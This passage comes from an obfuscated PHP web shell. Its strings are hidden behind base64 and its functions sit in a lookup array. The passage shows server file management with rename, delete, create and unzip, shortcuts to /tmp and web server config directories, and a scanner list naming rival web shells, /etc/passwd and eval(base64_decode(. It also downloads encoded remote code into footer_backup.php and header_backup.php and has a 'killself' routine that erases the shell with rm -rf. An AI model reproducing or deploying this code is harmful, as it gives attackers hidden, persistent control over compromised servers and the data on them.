wb('T3duZWQ='), wb('ZXZhbCg='), wb('bW92ZV91cGxvYWRlZF9maWxl'), wb('dG1wX25hbWU='), wb('ZmlsZV9nZXRfY29udGVudHM='), wb('aGV4MmJpbg=='), wb('YmluMmhleA=='), wb('Yzk5X2J1ZmZfcHJlcGFyZQ=='), wb('U29sZXZpc2libGU='), wb('QWxmYS1UZWFt'), wb('TWluaXNoZWxs'), wb('V1NPc3RyaXBzbGFzaGVz'), wb('Q3l0bw=='), wb('cHdkMTYz'), wb('WmVlcng3'), wb('ZWRvY2VkXzQ2ZXNhYg=='), wb('Y29uN2V4dA=='), wb('cGhwRmlsZU1hbmFnZXI='), wb('RmlsZW1hbg=='), wb('TUFSSUpVQU5B'), wb('TWluaQ=='), wb('Y2FraWw='), wb('Njg3NDZkNmM3MzcwNjU2MzY5NjE2YzYzNjg2MTcyNzM='), wb('QUdVU1RVU18xN18xOTQ1'), wb('cGFzdGViaW4='), wb('cnV6aHU='), wb('eGlhb3hpYW5udg=='), wb('Yml0Lmx5'), wb('YWJjcjU3'), wb('aGFja2Vy'), wb('aDR4MHI='), wb('L2V0Yy9wYXNzd2Q='), wb('dW5hbWUgLWE='), wb('ZXZhbChiYXNlNjRfZGVjb2RlKA=='), wb('KDB4ZjcwMDFFKT8weDhiOigweGFFMTdBKQ=='), wb('ZDA2ZjQ2MTAzMTgzY2UwOGJiZWY5OTlkM2RjYzQyNmE='), wb('cnNzX2Y1NDFiM2FiZDA1ZTc5NjJmY2FiMzc3MzdmNDBmYWQ4'), wb('cjU3c2hlbGw='), wb('TG9jdXM3cw=='), wb('bWlsdzBybQ=='), wb('JElJSUlJSUlJSUlJbA=='), wb('U3ViaGFzaERhc3lhbS5jb20='), wb('MzEzMzc=')); $suspicious_files = array(); function is_php_file($filename) { global $GNJ; return $GNJ[22]($filename, -4) == wb('LnBocA==') || $GNJ[22]($filename, -5) == wb('LnBocDQ=') || $GNJ[22]($filename, -6) == wb('LnBodG1s') || $GNJ[22]($filename, -5) == wb('LnBocDU='); } $dir_count = 0; function backdoor_scan($path) { global $suspicious_strings; global $suspicious_files; global $config; global $dir_count; global $GNJ; $dir_count++; $d = @dir($path); if ($d == false) { echo wb('PGJyPlt4XSBGYWlsZWQgdG8gb3BlbiBkaXJlY3Rvcnkg') . $path . wb('LCBza2lwcGluZw=='); return; } while (false !== ($filename = $d->read())) { if ($filename != wb('Lg==') && $filename != wb('Li4=')) { $full_filename = $d->path . DIRECTORY_SEPARATOR . $filename; $false = false; if (!empty($false_positives)) { if (in_array($full_filename, $false_positives)) { $false = true; } } if (!$false) { if ($GNJ[8]($full_filename)) { backdoor_scan($full_filename); } else { if (is_php_file($filename)) { $contents = fgt($full_filename); $suspicious = false; foreach ($suspicious_strings as $string) { if ($GNJ[30](strtolower($contents), strtolower($string)) != false) { $suspicious = true; } } if ($suspicious) { echo wb('PGJyPlsqXSBTdXNwaWNpb3VzIGZpbGUgZm91bmQ6IDxhIGhyZWY9Jz9kPQ==') . hex($d->path) . wb('JnM9') . hex($filename) . wb('JyB0YXJnZXQ9J19ibGFuayc+') . $full_filename . wb('PC9hPg=='); $suspicious_files[] = $full_filename; } } } } } } } if ($GNJ[22]($config[wb('dGFyZ2V0X2Rpcg==')], -1) == wb('Lw==')) { $config[wb('dGFyZ2V0X2Rpcg==')] = $GNJ[22]($config[wb('dGFyZ2V0X2Rpcg==')], 0, strlen($config[wb('dGFyZ2V0X2Rpcg==')]) - 1); } backdoor_scan($config[wb('dGFyZ2V0X2Rpcg==')]); echo wb('PGJyPjxicj4='); if (count($suspicious_files) > 0) { echo wb('PGJyPlshXSBTY2FuIGNvbXBsZXRlLiBBIGxpc3Qgb2Ygc3VzcGljaW91cyBmaWxlcy4='); } else { echo wb('PGJyPlsrXSBTY2FuIGNvbXBsZXRlLiBObyBzdXNwaWNpb3VzIGZpbGVzIHdlcmUgZm91bmQuPGJyPg=='); } } } elseif (isset($_GET[hex(wb('c2Nhbnox'))])) { ScanMenu($d); echo wb('PGNlbnRlcj48YnI+PGhyPjxoMj48YSBocmVmPSI/ZD0=') . hex($d) . wb('Jg==') . hex(wb('c2Nhbnox')) . wb('Ij5Mb2NhbCBCYWNrZG9vciBTY2FubmVyIDE8L2E+PC9oMj48L2NlbnRlcj48YnI+'); if (!$GNJ[26](wb('Zm9vdGVyX2JhY2t1cC5waHA='))) { $scannerz = fgt(decno(wb('eDhHc3ZiU1NlSHpNZTZ1NXNNeXF2STJ3cDdwd3hiaXgxTG1kd0hDNnZIdlR4YXc9'))); file_put_contents(wb('Zm9vdGVyX2JhY2t1cC5waHA='), $GNJ[39](b64dd($scannerz))); } echo wb('PGJyPjxpZnJhbWUgaWQ9J2NvbnRlbnQnIG5hbWU9J2NvbnRlbnQnIHN0eWxlPSd3aWR0aDogMTAwJTsgaGVpZ2h0OiA5MDBweDsgb3ZlcmZsb3cteDogaGlkZGVuOyBvdmVyZmxvdy15OiBzY3JvbGw7JyBzcmM9J2Zvb3Rlcl9iYWNrdXAucGhwJz48cD5Zb3VyIGJyb3dzZXIgZG9lcyBub3Qgc3VwcG9ydCBpZnJhbWVzLjwvcD48L2lmcmFtZT4='); } elseif (isset($_GET[hex(wb('a2lsbHNlbGY='))])) { if (isset($_SERVER[wb('SFRUUF9DT09LSUU=')])) { $cookies = explode(wb('Ow=='), $_SERVER[wb('SFRUUF9DT09LSUU=')]); foreach ($cookies as $cookie) { $parts = explode(wb('PQ=='), $cookie); $name = trim($parts[0]); setcookie($name, '', time() - 1000); setcookie($name, '', time() - 1000, wb('Lw==')); } } unset($_SESSION[md5($_SERVER[wb('SFRUUF9IT1NU')])]); @$GNJ[10](__FILE__); exe(wb('cm0gLXJmIA==') . $_SERVER[wb('U0NSSVBUX0ZJTEVOQU1F')]); print wb('PHNjcmlwdD53aW5kb3cubG9jYXRpb249Jz8nOzwvc2NyaXB0Pg=='); } elseif (isset($_GET[hex(wb('bWQ1eG9u'))])) { startmd5(); echo wb('PG1ldGEgaHR0cC1lcXVpdj0icmVmcmVzaCIgY29udGVudD0iMDt1cmw9P2Q9') . hex($d) . wb('JjEiPg=='); } elseif (isset($_GET[hex(wb('bWQ1eG9mZg=='))])) { stopmd5(); echo wb('PG1ldGEgaHR0cC1lcXVpdj0icmVmcmVzaCIgY29udGVudD0iMDt1cmw9P2Q9') . hex($d) . wb('JjEiPg=='); } elseif (isset($_GET[hex(wb('c2Nhbm9mZg=='))])) { if ($GNJ[26](wb('Zm9vdGVyX2JhY2t1cC5waHA='))) { @$GNJ[10](wb('Zm9vdGVyX2JhY2t1cC5waHA=')); } OK(); } elseif (isset($_GET[hex(wb('Y29uc29sZW9u'))])) { $cons = fgt(decno(wb('eDhHc3ZiU1NlSHpNZTZ1NXNNeXF2STJ3cDdwd3U3aTcwcnlrc20vSXJiTT0='))); file_put_contents(wb('aGVhZGVyX2JhY2t1cC5waHA='), $cons); print wb('PHNjcmlwdD53aW5kb3cubG9jYXRpb249Jz8nOzwvc2NyaXB0Pg=='); } elseif (isset($_GET[hex(wb('Y29uc29sZW9mZg=='))])) { if ($GNJ[26](wb('aGVhZGVyX2JhY2t1cC5waHA='))) { @$GNJ[10](wb('aGVhZGVyX2JhY2t1cC5waHA=')); } OK(); } elseif (isset($_GET[hex(wb('bG9nb3V0'))])) { stopmd5(); if (isset($_SERVER[wb('SFRUUF9DT09LSUU=')])) { $cookies = explode(wb('Ow=='), $_SERVER[wb('SFRUUF9DT09LSUU=')]); foreach ($cookies as $cookie) { $parts = explode(wb('PQ=='), $cookie); $name = trim($parts[0]); setcookie($name, '', time() - 1000); setcookie($name, '', time() - 1000, wb('Lw==')); } } unset($_SESSION[md5($_SERVER[wb('SFRUUF9IT1NU')])]); unset($_SESSION[wb('a2V5eHg=')]); $keyxxx = ''; if ($GNJ[26](wb('Zm9vdGVyX2JhY2t1cC5waHA='))) { @$GNJ[10](wb('Zm9vdGVyX2JhY2t1cC5waHA=')); } if ($GNJ[26](wb('aGVhZGVyX2JhY2t1cC5waHA='))) { @$GNJ[10](wb('aGVhZGVyX2JhY2t1cC5waHA=')); } print wb('PHNjcmlwdD53aW5kb3cubG9jYXRpb249Jz8nOzwvc2NyaXB0Pg=='); } elseif (isset($_GET[wb('bg==')])) { echo $a_ . wb('K0ZJTEU=') . $b_ . wb('CiAJCQkJPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+CiAJCQkJCTxpbnB1dCBuYW1lPSJuIiBhdXRvY29tcGxldGU9Im9mZiIgY2xhc3M9ImZvcm0tY29udHJvbCBjb2wtbWQtMyIgdHlwZT0idGV4dCIgdmFsdWU9IiI+CiAJCQkJCQ==') . $d_ . wb('CiAJCQk=') . $c_; if (isset($_POST[wb('bg==')])) { if (!$GNJ[25]($_POST[wb('bg==')])) { ER(); } else { echo wb('PG1ldGEgaHR0cC1lcXVpdj0icmVmcmVzaCIgY29udGVudD0iMDt1cmw9P2Q9') . hex($d) . wb('JmU9') . hex($_POST[wb('bg==')]) . wb('Ij4='); } } } elseif (isset($_GET[wb('cg==')])) { $checkfx = $d . DIRECTORY_SEPARATOR . rehex($_GET[wb('cg==')]); if ($GNJ[26]($checkfx)) { echo $a_ . wb('PGRpdiBzdHlsZT0iZmxvYXQ6bGVmdDsiPjxoMj5SZW5hbWUg') . rehex($_GET[wb('cg==')]) . wb('PC9oMj48L2Rpdj48ZGl2IHN0eWxlPSJmbG9hdDpyaWdodCI+UGF0aDogPGNvZGU+') . $d . wb('Lw==') . rehex($_GET[wb('cg==')]) . wb('PC9jb2RlPiA=') . fullx($checkfx) . wb('PC9kaXY+') . $b_ . header_Everyfile($_GET[wb('cg==')]) . wb('CiA8Y2VudGVyPjxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPjxpbnB1dCBuYW1lPSJyIiBhdXRvY29tcGxldGU9Im9mZiIgY2xhc3M9ImZvcm0tY29udHJvbCBjb2wtbWQtMyIgdHlwZT0idGV4dCIgdmFsdWU9Ig==') . rehex($_GET[wb('cg==')]) . wb('Ij4g') . $d_ . wb('CiAJCQ==') . $c_; rayeli($checkfx, rehex($_GET[wb('cg==')])); if (isset($_POST[wb('cg==')])) { if ($GNJ[26]($_POST[wb('cg==')])) { ER(); } else { if ($GNJ[27](rehex($_GET[wb('cg==')]), $_POST[wb('cg==')])) { OK(); } else { ER(); } } } } else { echo wb('RmlsZSBub3QgZXhpc3QhIDxhIGhyZWY9Jz9kPQ==') . hex($d) . wb('Jm4nPkRvIHlvdSB3YW50IHRvIGNyZWF0ZSBpdCA/PC9hPg=='); } } elseif (isset($_GET[wb('eg==')])) { $zip = new ZipArchive(); $res = $zip->open(rehex($_GET[wb('eg==')])); if ($res === true) { $zip->extractTo(rehex($_GET[wb('ZA==')])); $zip->close(); OK(); } else { ER(); } } else { echo wb('PGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb249IiI+PHRhYmxlIGNsYXNzID0gInRhYmxlIHRhYmxlLWRhcmsgdGFibGUtaG92ZXIgdGFibGUtc3RyaXBlZCB0YWJsZS1zbSB0YWJsZS1ib3JkZXJsZXNzIG10LTMgaG92ZXJUYWJsZSI+PHRoZWFkIGNsYXNzPSJ0ZXh0LWNlbnRlciI+PHRyPjx0aD48aW5wdXQgdHlwZT0iY2hlY2tib3giIGlkPSJzZWxlY3RfYWxsIiAvPjwvdGg+PHRoPiBOQU1FUyA8L3RoPjx0aD4gQUNUSU9OIA=='); if (isset($_SESSION[wb('c2F0aW5nZ2E=')])) { echo wb('PC90aD48dGg+RklMRSBQQVRI'); } echo wb('PC90aD4='); echo wb('PHRoPiBTSVpFIA=='); if (isset($_SESSION[wb('c2F0aW5nZ2E=')])) { echo wb('PC90aD48dGg+TUQ1'); } echo wb('PC90aD4='); echo wb('PHRoPiBMQVNUIE1PRElGSUVEPC90aD48dGg+T1dORVIvR1JPVVAgPC90aD48dGg+UEVSTSA8L3RoPjwvdHI+PC90aGVhZD48dGJvZHk+'); $h = ''; $j = ''; $w = $GNJ[13]($d); if ($GNJ[28]($w) || $GNJ[29]($w)) { foreach ($w as $c) { $e = $GNJ[14](wb('XA=='), wb('Lw=='), $d); if (!$GNJ[30]($c, wb('LnppcA=='))) { $zi = ''; } else { $zi = wb('WzxhIGhyZWY9Ij9kPQ==') . hex($e) . wb('Jno9') . hex($c) . wb('Ij5VPC9hPl0='); } if ($GNJ[31]("{$d}\57{$c}")) { $o = ''; } elseif (!$GNJ[32]("{$d}\x2f{$c}")) { $o = wb('IGg='); } else { $o = wb('IGJsaW5rIHciIHN0eWxlPSI='); } $s = $GNJ[34]("{$d}\x2f{$c}") / 1024; $s = round($s, 3); if ($s >= 1024) { $s = round($s / 1024, 2) . wb('IE1C'); } else { $s = $s . wb('IEtC'); } if ($c != wb('Lg==') && $c != wb('Li4=')) { if (isset($_SESSION[wb('c2F0aW5nZ2E=')])) { if ($GNJ[34]($c) < 2048880 && $GNJ[34]($c) > 1) { $hasilmd5 = md5_file($e . DIRECTORY_SEPARATOR . $c); } else { $hasilmd5 = wb('VW5jb3VudGVk'); } $codemd4 = wb('PHRkPkRpcmVjdG9yeTwvdGQ+'); $codemd5 = wb('PHRoPjxpbnB1dCBzdHlsZT0iYm9yZGVyOiBub25lO2JvcmRlci1ib3R0b206IDFweCBzb2xpZCAjMDBmZjAwOyIgdHlwZT0idGV4dCIgc2l6ZT0iMTAiIHR5cGU9InRleHQiIHZhbHVlPSI=') . $hasilmd5 . wb('IiAgb25jbGljaz0idGhpcy5zZWxlY3QoKTsiPjwvdGg+'); } else { $codemd5 = ''; $codemd4 = ''; } if (isset($_SESSION[wb('c2F0aW5nZ2E=')])) { $codemd6 = wb('PHRoPjxpbnB1dCBzdHlsZT0iYm9yZGVyOiBub25lO2JvcmRlci1ib3R0b206IDFweCBzb2xpZCAjMDBmZjAwOyIgdHlwZT0idGV4dCIgc2l6ZT0iMTAiIHR5cGU9InRleHQiIHZhbHVlPSI=') . $e . DIRECTORY_SEPARATOR . $c . wb('IiAgb25jbGljaz0idGhpcy5zZWxlY3QoKTsiPjwvdGg+IA=='); } else { $codemd6 = ''; } $checkfxo = $e . DIRECTORY_SEPARATOR . $c; $exurl = $GNJ[14]($_SERVER[wb('RE9DVU1FTlRfUk9PVA==')], '', $e) . wb('Lw==') . $c; if ($GNJ[30]($e, $_SERVER[wb('RE9DVU1FTlRfUk9PVA==')]) !== false) { if ($e != $_SERVER[wb('RE9DVU1FTlRfUk9PVA==')]) { $urlmx = wb('IFs8YSBocmVmPSIvLw==') . $_SERVER[wb('SFRUUF9IT1NU')] . $GNJ[14]($_SERVER[wb('RE9DVU1FTlRfUk9PVA==')], '', $exurl) . wb('IiB0YXJnZXQ9Il9ibGFuayI+CiYjeDIzNDY7PC9hPl0g'); } else { $urlmx = wb('IFs8YSBocmVmPSIvLw==') . $_SERVER[wb('SFRUUF9IT1NU')] . $exurl . wb('IiB0YXJnZXQ9Il9ibGFuayI+JiN4MjM0Njs8L2E+XSA='); } } else { $urlmx = ''; } $arraydomain = array(wb('LmNvbQ=='), wb('Lm5ldA=='), wb('Lmlk'), wb('Lm9yZw=='), wb('LmNvbS4='), wb('Lm5ldC4='), wb('Lm9yZy4='), wb('LmVkdS4='), wb('Lmdvdi4='), wb('LmdvYi4='), wb('Lmlu')); if (strposa($c, $arraydomain, 1)) { $codem7 = wb('WzxhIGhyZWY9Ii8v') . $c . wb('IiB0YXJnZXQ9Il9ibGFuayI+JiN4MjM4ODs8L2E+XQ=='); } else { $codem7 = ''; } $GNJ[8]("{$d}\x2f{$c}") ? $h .= wb('PHRyIGNsYXNzPSJ0ZXh0LWNlbnRlciI+IDx0ZCB3aWR0aD0iNyI+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBjbGFzcz0iY2hlY2tib3giIG5hbWU9ImN1Y29rW10iIHZhbHVlPSI=') . $d . DIRECTORY_SEPARATOR . $c . wb('Ii8+PC90ZD48dGQgY2xhc3M9InRleHQtbGVmdCI+ICYjMTI4MTYyOyA8YSBjbGFzcz0iYWp4IiBocmVmPSI/ZD0=') . hex($e) . hex(wb('Lw==') . $c) . wb('Ij4=') . $c . wb('PC9hPiA8L3RkPjx0ZD4gWzxhIGNsYXNzPSJhang=') . $o . wb('IiBocmVmPSI/ZD0=') . hex($e) . wb('JnI9') . hex($c) . wb('Ij5SRU48L2E+XSBbPGEgY2xhc3M9ImFqeA==') . $o . wb('IiBocmVmPSI/ZD0=') . hex($e) . wb('Jng9') . hex($c) . wb('Ij5ERUw8L2E+XSA=') . $codem7 . $urlmx . $codemd6 . wb('IDwvdGQ+PHRkPiBEaXJlY3Rvcnk8L3RkPg==') . $codemd4 . wb('PHRkPjxhIGNsYXNzPSJhang=') . $o . wb('IiBocmVmPSI/ZD0=') . hex($e) . wb('JnQ9') . hex($c) . wb('Ij4=') . $GNJ[20](wb('WS1tLWQgZzpp'), $GNJ[21]("{$d}\57{$c}")) . wb('PC9hPiAgPC90ZD48dGQ+IDxpbnB1dCBzdHlsZT0iYm9yZGVyOiBub25lO2JvcmRlci1ib3R0b206IDFweCBzb2xpZCAjMDBmZjAwOyIgdHlwZT0idGV4dCIgc2l6ZT0iMTMiIHR5cGU9InRleHQiIG9uY2xpY2s9InRoaXMuc2VsZWN0KCk7IiB2YWx1ZT0i') . GetFileOwnerGroup($checkfxo) . wb('Ij4gPC90ZD48dGQ+ICA8YSBjbGFzcz0iYWp4') . $o . wb('IiBocmVmPSI/ZD0=') . hex($e) . wb('Jms9') . hex($c) . wb('Ij4=') . x("{$d}\x2f{$c}") . wb('PC9hPiA8L3RkPjwvdHI+') : ($j .= wb('PHRyIGNsYXNzPSJ0ZXh0LWNlbnRlciI+CiAgCSA8dGQgd2lkdGg9IjciIGNsYXNzPSJ0ZXh0LWNlbnRlciI+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBjbGFzcz0iY2hlY2tib3giIG5hbWU9ImN1Y29rW10iIHZhbHVlPSI=') . $d . DIRECTORY_SEPARATOR . $c . wb('Ii8+PC90ZD4KIAk8dGQgY2xhc3M9InRleHQtbGVmdCI+CQkJCSYjMTI4MzA0OwogCQk8YSB0aXRsZT0i') . $c . wb('IiBocmVmPSI/ZD0=') . hex($e) . wb('JnM9') . hex($c) . wb('Ij4=') . $c . wb('PC9hPgkJCTwvdGQ+CiAJPHRkPls8YSBjbGFzcz0i') . $o . wb('IiBocmVmPSI/ZD0=') . hex($e) . wb('JmU9') . hex($c) . wb('Ij5FRElUPC9hPl0gWzxhIGNsYXNzPSJhang=') . $o . wb('IiBocmVmPSI/ZD0=') . hex($e) . wb('JnI9') . hex($c) . wb('Ij5SRU48L2E+XSA=') . $zi . wb('IFs8YSBjbGFzcz0iYWp4') . $o . wb('IiBocmVmPSI/ZD0=') . hex($e) . wb('Jng9') . hex($c) . wb('Ij5ERUw8L2E+XQogCQk=') . $urlmx . $codemd6 . wb('IDwvdGQ+CiAJPHRkPg==') . $s . wb('IA==') . $codemd5 . wb('PC90ZD4KIAk8dGQ+PGEgY2xhc3M9ImFqeA==') . $o . wb('IiBocmVmPSI/ZD0=') . hex($e) . wb('JnQ9') . hex($c) . wb('Ij4=') . $GNJ[20](wb('WS1tLWQgZzpp'), $GNJ[21]("{$d}\x2f{$c}")) . wb('PC9hPjwvdGQ+CiAJPHRkPjxpbnB1dCBzdHlsZT0iYm9yZGVyOiBub25lO2JvcmRlci1ib3R0b206IDFweCBzb2xpZCAjMDBmZjAwOyIgdHlwZT0idGV4dCIgc2l6ZT0iMTMiIG9uY2xpY2s9InRoaXMuc2VsZWN0KCk7IiB2YWx1ZT0i') . GetFileOwnerGroup($checkfxo) . wb('Ij48L3RkPgoJPHRkPjxhIGNsYXNzPSJhang=') . $o . wb('IiBocmVmPSI/ZD0=') . hex($e) . wb('Jms9') . hex($c) . wb('Ij4=') . x("{$d}\57{$c}") . wb('PC9hPjwvdGQ+PC90cj4JCQ==')); } } } echo $h; echo wb('PHRyIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOmxpbWU7IiBoZWlnaHQ9IjFweCI+PHRkIGNvbHNwYW49IjkiPjwvdGQ+PC90cj4='); echo $j; echo wb('PHRyIGhlaWdodD0iMnB4Ij48dGQ+PGJ1dHRvbiBjbGFzcz0iYnRuIGJ0bi1kYW5nZXIgYnRuLXNtIiB0eXBlPSJzdWJtaXQiIG5hbWU9ImRlbGV0ZUZpbGV6Ij5ERUw8L2J1dHRvbj48L3RkPjx0ZCBjb2xzcGFuPSI4IiBjbGFzcz0idGV4dC1jZW50ZXIgc21hbGwiPg==') . decno(wb('bzdLY3RxUzV2YkxEYmF5OFljSjFiY0c0WkcybHczVnR6YjlrYmJQTnZYbC9zYTU1WWNLNHU0dHRxc2R0ZU1QR2kyMXNmWFdFYWJuVHMyUnRwWVJwd01wNVdMQjFlS3E3dzIyeHZMYUVhY2JFd0ZqR3NNMXFiWnZBckwrd3hyQ0xzN1dadTZ4NHdyelViWjY4czNpK3dNaTduMjIxd0xMQWY4U2RyN1RBcnJuTGlXZkF0Y3E0dThhTFptMkV5cTZ4eU1HcmgyR2xxci9JdDYydXI3bDFiYmFnaDNsaHViZXhmNDZrczZKNHI3elJiYUc3dE1peXY4aTduMjIyeTNkdG02K3FpNUNyZzIySnU2M0ZiWGkycnNKNVdLU3F4bk50akcyTXNxVEFnMjJ2bFlpQ2I0dDBlWCtkc2NHcHg3ZC9qWVJqZVdHb3JyL0xlVmlRc0x5dXVzaS9xcnl6aEdtM3NNS2R2N3FFYWFEVHJwdTRzTTZ1djhXNXA4UnRlSXk1enNLY3M2MjV1N0tMYlhtNXJYaU1vNlIwcTIyT3ViekJ4TDlrYmFMR3JXMm10cXkxdHJwcWJZeHRpN3luek1DdTBiS3loMkdidGJ6VXNYRjVZYXUrcjh1MnBiSnRlS3E3dzIyRm9JYThzTEtB')) . wb('PC90ZD48L3RyPjwvdGJvZHk+PC90YWJsZT48L2Zvcm0+'); } echo wb('PGRpdiBjbGFzcz0iY2FyZCBiZy1kYXJrIG1iLTIgbXQtNCI+PHRhYmxlIGNsYXNzID0gInRhYmxlIHRhYmxlLWJvcmRlcmxlc3MgdGFibGUtZGFyayIgPjx0cj48dGQ+'); if (isset($_POST[wb('bmVtZWZlbGU=')])) { $nemefele = $_POST[wb('bmVtZWZlbGU=')]; } else { $nemefele = $dbener . wb('bmFtYWZpbGUucGhw'); } echo wb('PGZvcm0gY2xhc3M9ImZvcm0taW5saW5lIiBtZXRob2Q9InBvc3QiPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1zZWNvbmRhcnkgYnRuLXNtIj5SRUFEIEZJTEU8L2J1dHRvbj4gPGlucHV0IHN0eWxlPSJib3JkZXI6IG5vbmU7IGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjMDBmZjAwOyIgdHlwZT0idGV4dCIgc2l6ZT0iMzQiIGhlaWdodD0iMTAiIHZhbHVlPSI=') . $nemefele . wb('IiBuYW1lPSJuZW1lZmVsZSI+IDxpbnB1dCBjbGFzcz0iYnRuIGJ0bi13YXJuaW5nIGJ0bi1zbSIgdHlwZT0ic3VibWl0IiBuYW1lPSJlZGl0ZmlsZSIgdmFsdWU9IkdvIj48L2Zvcm0+PC90ZD48dGQ+PGEgY2xhc3M9ImJ0biBidG4tcHJpbWFyeSBidG4tc20gYWp4IiBocmVmPSI/ZD0=') . hex($d) . wb('Jm4iPitORVdGSUxFKzwvYT4gPGEgY2xhc3M9ImJ0biBidG4tcHJpbWFyeSBidG4tc20gYWp4ICIgaHJlZj0iP2Q9') . hex($d) . wb('JmwiPitORVdESVIrPC9hPiA='); echo wb('PHNlbGVjdCBjbGFzcz0iZm9ybS1jb250cm9sLXNtIiBhcmlhLWxhYmVsPSJPcGVuIHRoaXMgc2VsZWN0IG1lbnUiIG9uY2hhbmdlPSJ0aGlzLm9wdGlvbnNbdGhpcy5zZWxlY3RlZEluZGV4XS52YWx1ZSAmJiAod2luZG93LmxvY2F0aW9uID0gdGhpcy5vcHRpb25zW3RoaXMuc2VsZWN0ZWRJbmRleF0udmFsdWUpOyI+CiAgPG9wdGlvbiBzZWxlY3RlZD5HbyB0byAuLjwvb3B0aW9uPjxvcHRpb24gdmFsdWU9Ij9kPQ==') . hex($_SERVER[wb('RE9DVU1FTlRfUk9PVA==')]) . wb('Ij5Ib21lPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0i') . $this_file . wb('Ij5UaGlzIEZpbGU8L29wdGlvbj48b3B0aW9uIHZhbHVlPSI/ZD0=') . hex(wb('L3RtcA==')) . wb('Ij4vdG1wPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iP2Q9') . hex(wb('L3Zhci90bXA=')) . wb('Ij4vdmFyL3RtcDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9Ij9kPQ==') . hex(wb('L2Rldi9zaG0=')) . wb('Ij4vZGV2L3NobTwvb3B0aW9uPg=='); if ($GNJ[26](wb('L2V0Yy9odHRwZA=='))) { echo wb('IDxvcHRpb24gdmFsdWU9Jz9kPQ==') . hex(wb('L2V0Yy9odHRwZA==')) . wb('Jz4vZXRjL2h0dHBkPC9vcHRpb24+'); } if ($GNJ[26](wb('L2V0Yy9odHRwZC9jb25mL3BsZXNrLmNvbmYuZC92aG9zdHM='))) { echo wb('IDxvcHRpb24gdmFsdWU9Jz9kPQ==') . hex(wb('L2V0Yy9odHRwZC9jb25mL3BsZXNrLmNvbmYuZC92aG9zdHM=')) . wb('Jz4vZXRjL2h0dHBkL2NvbmYvcGxlc2suY29uZi5kL3Zob3N0czwvb3B0aW9uPg=='); } if ($GNJ[26](wb('L2V0Yy9hcGFjaGUy'))) { echo wb('IDxvcHRpb24gdmFsdWU9Jz9kPQ==') . hex(wb('L2V0Yy9hcGFjaGUy')) . wb('Jz4vZXRjL2FwYWNoZTI8L29wdGlvbj4='); } if ($GNJ[26](wb('L2V0Yy9uZ2lueC1zcA=='))) { echo wb('IDxvcHRpb24gdmFsdWU9Jz9kPQ==') . hex(wb('L2V0Yy9uZ2lueC1zcA==')) . wb('Jz4vZXRjL25naW54LXNwPC9vcHRpb24+'); } if ($GNJ[26](wb('L2V0Yy9hcGFjaGU='))) { echo wb('IDxvcHRpb24gdmFsdWU9Jz9kPQ==') . hex(wb('L2V0Yy9hcGFjaGU=')) . wb('Jz4vZXRjL2FwYWNoZTwvb3B0aW9uPg=='); } if ($GNJ[26](wb('L3Vzci9sb2NhbC9sc3dz'))) { echo wb('IDxvcHRpb24gdmFsdWU9Jz9kPQ==') . hex(wb('L3Vzci9sb2NhbC9sc3dz')) . wb('Jz4vdXNyL2xvY2FsL2xzd3M8L29wdGlvbj4='); } if ($GNJ[26](wb('IC9ldGMvbmdpbng='))) { echo wb('IDxvcHRpb24gdmFsdWU9Jz9kPQ==') . hex(wb('L2V0Yy9uZ2lueA==')) . wb('Jz4vZXRjL25naW54PC9vcHRpb24+'); } echo wb('PC9zZWxlY3Q+'); echo wb('PGJ1dHRvbiB0eXBlPSJidXR0b24iIGNsYXNzPSJidG4gYnRuLWRhcmsgYnRuLXNtIG1sLTEiPg==') . getFileCount($d) . wb('IEZJTEUoUykgb24gPC9idXR0b24+PGlucHV0IG9uY2xpY2s9InRoaXMuc2VsZWN0KCk7IiBzdHlsZT0iYm9yZGVyOiBub25lOyBib3JkZXItYm90dG9tOiAxcHggc29saWQgIzAwZmYwMDsiIHR5cGU9InRleHQiIHNpemU9IjIzIiBoZWlnaHQ9IjEwIiB2YWx1ZT0i') . $dbener . wb('Ij4gPGRpdiBzdHlsZT0iZmxvYXQ6cmlnaHQ7Ij48YSBocmVmPSI/IiBjbGFzcz0iYWp4Ij4=') . X . wb('PC9hPjxzdXA+') . MURTAD . wb('PC9zdXA+PGJyPjxzdXA+') . $GNJ[20](wb('RCBZLW0tZCBIOmk=')) . wb('PC9zdXA+PC9kaXY+'); if (isset($_POST[wb('ZWRpdGZpbGU=')])) { if (!$GNJ[26]($nemefele)) { $nemefele = $_POST[wb('bmVtZWZlbGU=')]; $path_parts = pathinfo($nemefele); $fffff = $path_parts[wb('ZGlybmFtZQ==')]; $ggggg = $path_parts[wb('YmFzZW5hbWU=')]; echo wb('PG1ldGEgaHR0cC1lcXVpdj0icmVmcmVzaCIgY29udGVudD0iMDt1cmw9P2Q9') . hex($fffff) . wb('JmU9') . hex($ggggg) . wb('Ij4='); die; } else { $nemefele = $_POST[wb('bmVtZWZlbGU=')]; $path_parts = pathinfo($nemefele); $fffff = $path_parts[wb('ZGlybmFtZQ==')]; $ggggg = $path_parts[wb('YmFzZW5hbWU=')]; echo wb('PG1ldGEgaHR0cC1lcXVpdj0icmVmcmVzaCIgY29udGVudD0iMDt1cmw9P2Q9') . hex($fffff) . wb('JnM9') . hex($ggggg) . wb('Ij4='); die; } } echo wb('PC90ZD48L3RyPjx0cj48dGQgY29sc3Bhbj0iMiI+'); echo wb('PGZvb3Rlcj4='); $end = microtime(true); $timeend = number_format($end - $start, 2); echo wb('PGRpdiBjbGFzcz0idGV4dC1jZW50ZXIiPkNvcHlsZWZ0IDIwMjAt') . $GNJ[20](wb('WQ==')) . wb('IDFzdDxzcGFuIHN0eWxlPSJjb2xvcjogI2UyNTU1NTsiPiZoZWFydHM7PC9zcGFuPgoJCQkJCTxhIG9uY2xpY2s9InJldHVybiBjb25maXJtKCdCeWUgIScpOyIgY2xhc3M9ImFqeCIgaHJlZj0iP2Q9') . hex($d) . wb('Jg==') . hex(wb('a2lsbHNlbGY=')) . 